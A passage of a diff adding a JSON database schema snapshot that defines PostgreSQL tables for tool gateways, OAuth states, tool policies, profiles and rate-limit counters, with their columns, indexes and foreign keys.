+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
